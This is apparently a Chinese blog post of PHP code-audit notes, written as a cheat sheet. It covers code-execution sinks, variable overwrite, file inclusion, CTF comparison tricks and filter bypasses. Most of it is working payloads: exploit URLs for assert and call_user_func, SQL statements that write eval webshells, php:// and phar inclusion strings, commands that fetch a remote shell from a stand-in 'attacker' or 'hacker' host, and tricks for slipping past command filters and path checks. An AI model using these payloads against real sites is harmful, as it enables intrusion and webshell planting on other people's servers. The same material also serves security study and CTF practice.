PHP代码审计
PHP代码审计
RCE
反引号中包括变量
<?php
$varch = $_GET['hi'];
$output = `$varch`;
echo "<pre>$output</pre>";
?>
array_map()中包含变量
作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['hi'],$array);
?>
http://localhost:8899/demo/quotos.php?hi=phpinfo
create_function
<?php
$a = $_GET['hi'];
$b = create_function('$a',"echo $a");
$b('');
?>
http://localhost:8899/demo/quotos.php?hi=phpinfo();
常见回调函数
call_user_func()、call_user_func_array()、create_function()、
array_walk()、 array_map()、array_filter()、
usort()、ob_start()、可变函数$_GET['a']($_GET['b'])
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。
call_user_func
<?php
call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>
访问:
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x=phpinfo()
call_user_func_array
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
<?php
call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']);
?>
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x[]=phpinfo()
array_filter
array_filter(['whoami'],'system');
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aBch01HK-1606060840954)(PHP代码审计.assets/image-20201012143132321.png)]
assert
assert(system('calc.exe')
passthru
<?php
passthru("whoami");
?>
pcntl_exec
<?php
pcntl_exec ( "/bin/bash" , array("whoami"));
?>
ob_start
<?php
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>
usort
<?php
//php5.6版本以下
usort($_GET,'system'); //xxx.php?1=1&2=whoami
//usort($_GET,'assert'); //xxx.php?1=1&2=phpinfo()
//usort($_GET,'syst'.'em');
//usort($_GET,'asse'.'rt');
//php5.6以上
//usort(...$_GET); xxx.php?1[]=test&1[]=phpinfo();&2=assert
?>
array_walk
<?php
array_walk($_GET['a'],$_GET['b']);
//xxx.php?a[]=phpinfo()&b=assert
//xxx.php?a[]=whoami&b=system
?>
proc_open
<?php
$test = "whoami";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>
popen
<?php
$test = "whoami";
$fp = popen($test,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道取出内容
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>
preg_replace
<?php
@preg_replace("/abc/e",$_REQUEST['a'],"abcd");
//xxx.php?a=phpinfo()
?>
${}符号
<?php
${phpinfo()};
?>
shell_exec
"echo shell_exec('whoami');"
文件写入/读取:
select into outfile
select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php';
load_file()
http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+
fputs
<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>
SQL注入
secure_file_priv
show global variables like '%secure%';
set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';
变量覆盖漏洞
变量覆盖漏洞相关函数
extract()
parse_str()
import_request_variables()
$$(可变变量)
register_globals=On (PHP5.4之后正式移除此功能)
$$的问题
如提交的URL为 var.php?a=bye
<?php
$a = "hi";
foreach($_GET $key => $value){
$$key=$value;
}
print $a;
?>
extract()变量覆盖
extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数返回成功设置的变量数目
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
变量覆盖漏洞PHP extract() 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。 file_get_contents:远程获取获取文件,若没有则为空 构造shiyan=&flag=1
parse_str()函数使用不当导致的覆盖
parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有的变量。parse_str()函数的结构如下:
parse_str(string,array)
<?php
$a = "hi";
//var.php?var=1&a[1]=var1%3d222
$var1 = "init";
parse_str = ($a[$_GET['var']]);
print $var1;
?>
文件包含:
require()
include
include_once
require_once
构造url
`/?param=http://attacker/phpshell.txt?`
可将远程的shell解析执行,最后一个问号可以起到截断的作用。
move_uploaded_file
php伪协议
php://input
allow_url_include = on
payload:
1 index.php?file=php://input
2 POST:
3 <? phpinfo(); ?>
php://filter
可以读取本地文件index.php?file=php://filter/read=convert.base64-encode/resource=index.php
指定末尾文件,可以读到base64编码后的文件内容,ctf中常有题目可读文件源码。
php://phar
PHP归档,解压缩协议
上传包含任何格式文件shell的压缩包,再用phar协议解析
- 指定相对路径
index.php?file=phar://shell.zip/phpinfo.txt
- 指定绝对路径
index.php?file=phar://D:/index/www/fileinclude/shell.zip/phpinfo.txt
data:
条件:
allow_url_fopen = On
allow_url_include = On
index.php?file=data:text/plain,%00`
`index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
CTF
240610708神奇数字
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
var_dump(md5('240610708') == md5('QNKCDZO'));
结果是true
=== 类型比较
<?php
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo ' Your password can not be your name! ';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: 1111111111111');
else
echo ' Invalid password.';
}
else
echo 'Login first! ';
?>
=== 是类型比较,name和password可传入数组,让sha1报错,通过类型比较进入到指定路径
var.php?name[]=1&password[]=b
strcmp
<?php
$flag = "11111111111";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print '离成功更近一步了';
}
?>
var.php?a[]=1
php语言特性:
是5.3的之前和之后版本在使用strcmp比较数组和字符串时候的差异, 5.3之后使用该函数比较数组和字符串会返回0
strpos()
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
strpos() 函数对大小写敏感。
该函数是二进制安全的。strpos(string, find, start)
string 和 find 必需,start 可选,规定在何处开始搜索。
判断的时候是不能用 != false来判断的,因为当查找的字符串位置为0 时也会判断成功
<?php
$a = "stark";
$b = "s";
$c = "k";
var_dump(strpos($a, $b)); //0
var_dump(strpos($a, $c)); //4
var_dump(strpos($a, $b) != false); //false
var_dump(strpos($a, $b) !== false); //true
?>
is_numeric
由于is_numeric
没有检测\0(%00)
,所以导致is_numeric($_REQUEST['number'])
为False
,成功跳过检测。
绕过tips
空格
<
${IFS}
$IFS$9
%09
敏感字符绕过
假设过滤了cat
1、利用变量绕过
aaa@qq.com:~/shell$ a=c;b=a;c=t;
aaa@qq.com:~/shell$ $a$b$c 1.txt
abc
2、利用base64编码绕过
aaa@qq.com:~/shell$ echo 'cat' | base64
Y2F0Cg==
aaa@qq.com:~/shell$ `echo 'Y2F0Cg==' | base64 -d` 1.txt
abc
%00截断
magic_quotes_gpc = off
PHP < 5.3.4
%00截断目录遍历/var/www/%00
magic_quotes_gpc = off
字节长度截断:
最大值Windows下256字节,Linux下4096字节
编码绕过
`%2e%2e%2f ../`
`..%c0%af ../`
`%2e%2e%5c ..\`
php应用常见目录文件
包含日志文件
先通过读取httpd的配置文件httpd.conf,找日志文件所在目录
常见日志文件位置:
1./etc/httpd/conf/httpd.conf
2./usr/local/apache/conf/http.conf
3./apache/logs/error.log
包含Session
要求攻击者能控制部分Session的内容
常见的php-session存放位置:
1. /var/lib/php/sess_PHPSESSID
2. /var/lib/php/sess_PHPSESSID
3. /tmp/sess_PHPSESSID`
包含/proc/self/environ 文件
index.php?page=../../../../../proc/self/environ
可以看到Web进程运行时的环境变量,其中用户可以控制部分,比如对User-Agent注入
<?php
system('wget http://hacker/Shells/phpshell.txt -O shell.php');
?>
PHP特性:
当代码中存在*$_REQUEST[‘user_id’]里面类似的参数的时候,我们在url上可以这样a.php?user.id传参去进行绕过,这样进去之后也能表示$_REQUEST[‘user_id’]*的值,同样可以绕过的符号还有+,[ 等,应该说是php的一个小特性
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ohjXIL10-1606060840955)(PHP代码审计.assets/image-20201119091719276.png)]
上一篇: Bamboo的custom操作API